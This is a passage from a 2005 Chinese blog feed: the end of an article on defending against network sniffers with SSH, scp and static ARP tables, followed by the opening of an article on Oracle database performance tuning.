<P>技术是指加密能力是否高。例如，64位的加密就可能不够，而且并不是所有的应用程序都集成了加密支持。而且，跨平台的加密方案还比较少见，一般只在一些特殊的应用之中才有。人为问题是指，有些用户可能不喜欢加密，他们觉得这太麻烦。用户可能开始会使用加密，但他们很少能够坚持下。总之我们必须寻找一种友好的媒介-使用支持强大这样的应用程序，还要具有一定的用户友好性。使用secure shell、secure copy或者IPV6协议都可以使得信息安全的传输。传统的网络服务程序，SMTP、HTTP、FTP、POP3和Telnet等在本质上都是不安全的，因为它们在网络上用明文传送口令和数据，嗅探器非常容易就可以截获这些口令和数据.SSH的英文全称是Secure Shell。通过使用SSH，你可以把所有传输的数据进行加密，这样"中间服务器"这种攻击方式就不可能实现了，而且也能够防止DNS和IP欺骗。还有一个额外的好处就是传输的数据是经过压缩的，所以可以加快传输的速度。SSH有很多功能，它既可以代替telnet，又可以为ftp、pop、甚至ppp提供一个安全的"通道"。SSH绑定在端口22上，其连接采用协商方式使用RSA加密。身份鉴别完成之后，后面的所有流量都使用IDEA进行加密。SSH（Secure　Shell）程序可以通过网络登录到远程主机并执行命令。SSH的加密隧道保护的只是中间传输的安全性，使得任何通常的嗅探工具软件无法获取发送的内容。它提供了很强的安全验证可以在不安全的网络中进行安全的通信.所以它是防范嗅探器的一种方法。 </P>
<P>用静态的ARP或者IP－MAC对应表代替动态的ARP或者IP－MAC对应表。 </P>
<P>该措施主要是进行渗透嗅探的防范，采用诸如ARP欺骗手段能够让入侵者在交换网络中顺利完成嗅探。网络管理员需要对各种欺骗手段进行深入了解，比如嗅探中通常使用的ARP欺骗，主要是通过欺骗进行ARP动态缓存表的修改。在重要的主机或者工作站上设置静态的ARP对应表，比如win2K系统使用arp命令设置，在交换机上设置静态的IP-MAC对应表等，防止利用欺骗手段进行嗅探的手法。 </P>
<P>除了以上三点另外还要重视重点区域的安全防范 。这里说的重点区域，主要是针对嗅探器的放置位置而言。入侵者要让嗅探器发挥较大功效，通常会把嗅探器放置在数据交汇集中区域，比如网关、交换机、路由器等附近，以便能够捕获更多的数据。因此，对于这些区域就应该加强防范，防止在这些区域存在嗅探器。 </P>
<P>四 防范嗅探器应用案例 </P>
<P>1、Linux下SSH安装 </P>
<P>在<A href="http://www.ssh.com/">www.ssh.com</A>，下载最新版本软件包SSH2，最好下载源程序软件包自己进行编译。 </P>
<P># tar -zxvf ssh2-2.4.0.tar.gz <BR># cd ssh2-2.4.0 <BR># ./configure ;# make ;#make install</P>
<P>这一过程实际上将服务器软件包及客户端软件一起安装了，不必再次安装客户端软件包。 安装程序将SSH2软件包安装在/usr/local/bin及/usr/local/sbin下。 </P>
<P>2、配置 </P>
<P>SSH的配置文件在/etc/ssh2下，其中包括sshd2的主机公钥和私钥：hostkey和hostkey.pub。这两个文件通常是在安装SSH时自动生成的。你可以通过下面的命令重新来生成它们：（而ssh2_config 文件一般情形下无需修改） </P>
<P># rm /etc/ssh2/hostkey* <BR># ssh-keygen2 -P /etc/ssh2/hostkey</P>
<P>3、启动SSH服务器 </P>
<P>在UNIX/Linux环境下，服务器程序放置在/usr/local/sbin目录下，启动方法如下： </P>
<P># sshd </P>
<P># ps x </P>
<P>如果不希望每次重启动系统，都要手工运行启动,在rc.local中加入一行/usr/local/sbin/sshd。 </P>
<P>4、使用SSH </P>
<P>安装好ssh之后，我们可以很方便地在远程服务器上利用ssh获得一个shell。例如，假设我执行： </P>
<P># ssh <A href="mailto:cjh@red.forge.net">cjh@red.forge.net</A> </P>
<P>首先看到系统提示输入密码，输入后我就在远程机器上获得了一个shell。从这里开始，ssh的会话过程和telnet会话相似。但SSH能够确信所有在我和服务器之间传输的数据都已经经过加密。如果你很熟悉rsh和它的选项，那么你很快就可以开始使用ssh。ssh被设计成和rsh具有相同的运作方式。一般情况下，能够用rsh作为传输端口的程序都允许用ssh来替代（例如rsync）。安全复制命令scp的用法也很简单，它的语法和cp的语法很相似。例如，要把my.php文件复制到cjh.org服务器，则我们使用如下命令： </P>
<P># scp my.php <A href="mailto:cjh@cjh.org:/usr/local/apache/htdocs/">cjh@cjh.org:/usr/local/apache/htdocs/</A> </P>
<P>此时，我们将看到密码输入提示（正如ssh）。接下来，本地机器当前目录下的my.php文件被复制到cjh.org的/usr/local/apache/htdocs/，使用的登录名字是cjh。从使用上看，与Telnet没有什么不同之处。而且有了SSH客户端软件，如果你要上传文件，不必向以前一样再开一个FTP窗口，再次认证，然后上传文件。使用SSH客户端自带的scp工具，就可以直接将文件上传到远端服务器上。 </P>
<P>scp命令是SSH中最方便有用的命令，如果告诉你在两台服务器之间直接传送文件，仅用scp-个命令就完全解决.你可以在一台服务器上以root身份运行: </P>
<P>#scp servername：/home／ftp／pub／file1．／ </P>
<P>这样就把另一台服务器上的文件/home／ftp／pub／file1直接传到本机器的当前目录下。 </P>
<P>以上我们讲的是技术方面，对于网络的安全，管理显得格外重要。除网络管理员外其他人员禁止在网络中使用任何嗅探工具包括一些企业高级管理人员，是完全有必要的。这能从制度上明确限制一些工作站主动使用嗅探器的情况。 </P>
<P>对于网络管理员来说更重要的是要建立安全意识，了解你的用户（系统管理员越熟悉自己的用户和用户的工作习惯，就越能快速发现不寻常的事件，而不寻常的事件往往意味着系统安全问题。）、定期检查你网络中的重点设备如服务器,交换机,路由器。最好配备一些专业工具比如前边介绍的TDR。网络管理员还要给用户提供安全服务。对用户要定期发送安全邮件,发送邮件是让用户具有安全意识。管理意识是提高安全性的另-个重要因素。如果用户的管理部门对安全要求不强烈，只靠系统管理员也不行。最好让管理部门建立一套每个人都必须遵守的安全标准，如果系统管理员在此基础再建立自己的安全规则，就强化了安全。管理有助于加强用户意识，让用户明确，信息是有价值的资产。系统管理员应当使安全保护方法对用户尽可能地简单，提供一些提高安全的工具。网络管理员要建立合理的用户痛苦量（痛苦量是指安全限制引起的抵制的函数），不能仅仅从技术上考虑问题，还要站在用户的观点上考虑。例如，我们能够想每次Macintosh用户登录时都使用S／Key吗?用户知道的关于安全的知识越多，网络安全就更有保障。 </P>
<P>五 总结 </P>
<P>嗅探器技术被广泛应用于网络维护和管理方面，它工作的时候就像一部被动声纳，默默的接收看来自网络的各种信息，通过对这些数据的分析，网络管理员可以深入了解网络当前的运行状况，以便找出网络中的漏洞。在网络安全日益被注意的今天.我们不但要正确使用嗅探器.还要合理防范嗅探器的危害.嗅探器能够造成很大的安全危害，主要是因为它们不容易被发现。对于一个安全性要求很严格的企业，在使用技术防范的同时安全管理的制度建设也是非常重要的。 </P>
<P>嗅探器技术并非尖端科技，只能说是安全领域的基础课题。对嗅探器技术的研究并不要求太多底层的知识，它并不神秘。实际上我们的一些网管软件，和一些网络测试仪都使用了嗅探器技术。只是许多计算机软件供应商对其一直讳莫如深。回避这个基本事实是不明智的。了解掌握它才是关键。这也笔者的写作动机。 </P><img src ="http://www.cnblogs.com/F4ncy/aggbug/215629.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/41801/" target="_blank">[新闻]《星际争霸2》新图</a>]]></description></item><item><title>Oracle数据库性能优化技术</title><link>http://www.cnblogs.com/F4ncy/archive/2005/07/31/204215.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Sun, 31 Jul 2005 13:48:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/07/31/204215.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/204215.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/07/31/204215.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/204215.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/204215.html</trackback:ping><description><![CDATA[<P>Oracle数据库性能优化技术</P>
<P>作者: 李志敏 彭志刚</P>
<P>　　摘要： Oracle数据库是当前应用最广泛的大型数据库之一，而其性优化直接关系到系统的运行效率。本文以数据库性能优化的基本原则为出发点，阐述了在数据库设计阶段如何避免竞争和如何优化数据访问，在数据库运行阶段如何从操作系统和数据库实例级别上调整内存和I/O来达到数据库性能优化的各种技术。</P>
<P>　　1. 引言</P>
<P>　　随着网络应用和电子商务的不断发展，各个站点的访问量越来越大，数据库规模也随之不断的扩大，数据库系统的性能问题就越来越突出，因此，如何对数据库进行调优至关重要：如何使用有限的计算机系统资源为更多的用户服务？如何保证用户的响应速度和服务质量？这些问题都属于服务器性能优化的范畴。</P>
<P>　　作为全球第一大数据库厂商，Oracle数据库在国内外获得了诸多成功应用，据统计，全球93%的上市.COM公司、65家"财富全球100强"企业不约而同地采用Oracle数据库来开展电子商务。我国很多企业、政府单位及电子商务网站也采用了Oracle作为数据库服务器。Oracle数据库服务器是高度可优化的软件产品，经常性的调整可以优化应用系统的性能，防止出现系统瓶颈。</P>
<P>　　数据库性能优化的基本原则就是：通过尽可能少的磁盘访问获得所需要的数据。要评价数据库的性能，需要在数据库调节前后比较其评价指标：响应时间和吞吐量之间的权衡、数据库的可用性、数据库的命中率以及内存的使用效率，以此来衡量调节措施的效果和指导调整的方向。 </P>
<P>　　对Oracle数据库进行性能调整时，应当按照一定的顺序进行，因为系统在前面步骤中进行的调整可以避免后面的一些不必要调整或者代价很大的调整。一般来说可以从两个阶段入手：</P>
<P>　　1、设计阶段：对其逻辑结构和物理结构进行优化设计，使之在满足需求条件的情况下,系统性能达到最佳，系统开销达到最小；</P>
<P>　　2、数据库运行阶段：采取操作系统级、数据库级的一些优化措施来使系统性能最佳； <BR>　　2. 在系统设计开发阶段调整数据库</P>
<P>　　为了充